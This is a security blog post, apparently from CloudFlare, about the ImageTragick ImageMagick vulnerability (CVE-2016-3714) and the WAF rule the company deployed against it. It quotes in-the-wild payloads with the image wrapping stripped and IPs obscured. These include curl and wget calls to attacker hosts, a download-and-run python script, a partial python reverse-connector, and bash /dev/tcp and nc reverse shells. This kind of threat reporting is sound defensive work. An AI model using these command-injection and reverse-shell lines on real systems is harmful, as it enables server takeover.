Last week multiple vulnerabilities were made public in the popular image manipulation software, ImageMagick. These were quickly named ImageTragick. Although a vulnerability in image manipulation software might not seem like a problem for web site owners it is in fact a genuine security concern.
CloudFlare quickly rolled out a WAF rule to protect our customers from this vulnerability. It was automatically deployed for all customers with the WAF enabled. We know that it takes time for customers to upgrade their web server software and so the WAF protects them in the interim.
Many websites allow users to upload images and the websites themselves often manipulate these images using software like ImageMagick. For example, if you upload a picture of yourself to use as an avatar, it will very likely be resized by the website. ImageMagick is very popular and there are plugins that make it easy to use with PHP, Ruby, Node.js and other languages so it is common for websites to use it for image resizing or cropping.
Unfortunately, researchers discovered that it was possible to execute arbitrary code (CVE-2016-3714) by hiding it inside image files that a user uploads. That means an attacker can make a web server do its bidding by uploading an image containing code the attacker chooses.
As ever, it is critical that users of ImageMagick upgrade as quickly as possible to be fully protected.
Shellshock 2?
Back in 2014 I wrote about another nasty code execution vulnerability called Shellshock. In that blog post I wrote:
The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Typically, ACE vulnerability attacks are executed on programs that are running, and require a highly sophisticated understanding of the internals of code execution, memory layout, and assembly language—in short, this type of attack requires an expert.
Attacker will also use an ACE vulnerability to upload or run a program that gives them a simple way of controlling the targeted machine. This is often achieved by running a "shell". A shell is a command-line where commands can be entered and executed.
The Shellshock vulnerability is a major problem because it removes the need for specialized knowledge, and provides a simple (unfortunately, very simple) way of taking control of another computer (such as a web server) and making it run code.
Sadly, the same is true of ImageTragick: attackers do not need to be sophisticated to take advantage of it and run arbitrary code on a vulnerable web server. Shellshock was especially nasty because of how widespread the vulnerability was; ImageTragick is less widespread but a real problem for sites that use it to manipulate images that users upload.
Reconnaissance
We began watching the exploitation of CVE-2016-3714 as soon as the WAF rule went live across our network. The bad news is that this vulnerability is being actively used by hackers to attack websites.
I’ve gathered examples of the most popular payloads being used by hackers. These are not weaponized as I have removed the image wrapping from around the payloads to ensure that they cannot simply be copied and pasted to perform an attack. I have also obscured IP addresses and website names used by attackers.
CC BY 2.0 image by Jason Brennan
The most common payload contains the following snippet:
fill 'url(https://pre09.example.net/15bd/th/pre/f/2012/237/c/7/all_work_and_no_something
someting_by_nebezial-d5cdlor.jpg";curl "example.com)'
This particular payload should not cause any damage as the curl command just returns the text of a 301 Moved Permanently HTTP error. The attacker may have been using this as a way of testing whether the exploit worked on a specific website. Once they know that something works they can come back and try to break into the server using a more complex payload.
The next payload looks like it might similarly be used for reconnaissance:
<image xlink:href="https://127.0.0.1/image.jpg"|wget xx.xx.116.214/loltest;"
x="0" y="0" height="140px" width="140px"/>
The wget command results in a 404 Not Found error (although there might have been a real file downloaded at some point). Even with a 404 error an attacker can look through their own server logs (of the server at xx.xx.116.214) to discover the IP address of any website on which the payload worked. They can then return to the website later to attack it properly.
Remote Access
Another style of payload looks like this:
fill 'url(https://127.0.0.0/sdfsdf.jpg"|wget -o- a0074942.example.com/dfgdfg >
"/tmp/dfgfdgfdg)'
The attacker downloads a file (presumably from a server they control) using wget and saves it to a file on the website’s server. This could be the prelude to a larger attack and the contents of the temporary file would likely contain a program to be executed on the web server giving the attacker access.
CC BY-SA 2.0 image by Todd Ehlers
A much more dangerous payload was very popular with attackers over the weekend:
fill 'url(https://example.com/image.jpg"|wget http://example.com/x.py
-o /tmp/x.py && python /tmp/x.py xx.xx.15.179 80")'
This downloads a python program called x.py from a server the attack controls, saves it as /tmp/x.py and then executes it. The parameters to the program are the IP address and port of a machine to contact. The python code connects to that machine and makes a shell available on the web server to the attacker. At that point the attacker can interact directly with the web server.
Here’s a snippet of the downloaded program:
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
[...]
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
A variant of this payload eliminates the need to download the python program and includes it in the payload itself:
fill 'url(https://example.com/image.jpg"|/bin/echo -e \'import
socket\x2csubprocess\x2cos;s=socket.socket(socket.af_inet\x2csocket.sock_stream);
s.connect(("xx.xx.24.85"\x2c443));p=subprocess.call(\x5b"/bin/sh"\x2c"-i"\x5d);\'
> /dev/shm/a.py|python "/dev/shm/a.py)'
Getting access to the server via a shell or other connection proved popular with attackers who used payloads like this:
fill 'url(https://\x22|setsid /bin/bash -i >/dev/tcp/xx.xx.248.51/443
0<&1 2>&1")'
fill 'url(https://profile-photos.example.com/production/000/003/658/b4eb8_
xtralarge.png"|nc -e /bin/sh xx.xx.151.208
The first uses setsid to create a new session and then hooks up the bash shell to a TCP connection back to the hacker’s server. The second uses nc to attempt the same thing.
All these payloads are designed to give the hacker unfettered access to the vulnerable web server. With a single exploit they can get remote access and then proceed to further hack the vulnerable web server at their leisure.
Conclusion
CloudFlare continually updates our WAF as vulnerabilities are found and customers get automatic protection. Nevertheless, we urge all users of ImageMagick to upgrade as quickly as possible.
At the current time we do not know of a website that has been successfully hacked using ImageTragick, but it is clear that hackers are actively trying this vulnerability as it is fresh and many servers are likely to not have been patched yet.
If you are interested in understanding the vulnerability in more detail, the researchers have a set of non-weaponized PoCs available and a program for testing whether an installed version of ImageMagick on your own server is vulnerable. They also have a detailed description of the underlying problem.
PS CloudFlare is hiring in London, San Francisco, Austin, Singapore and Champaign, IL.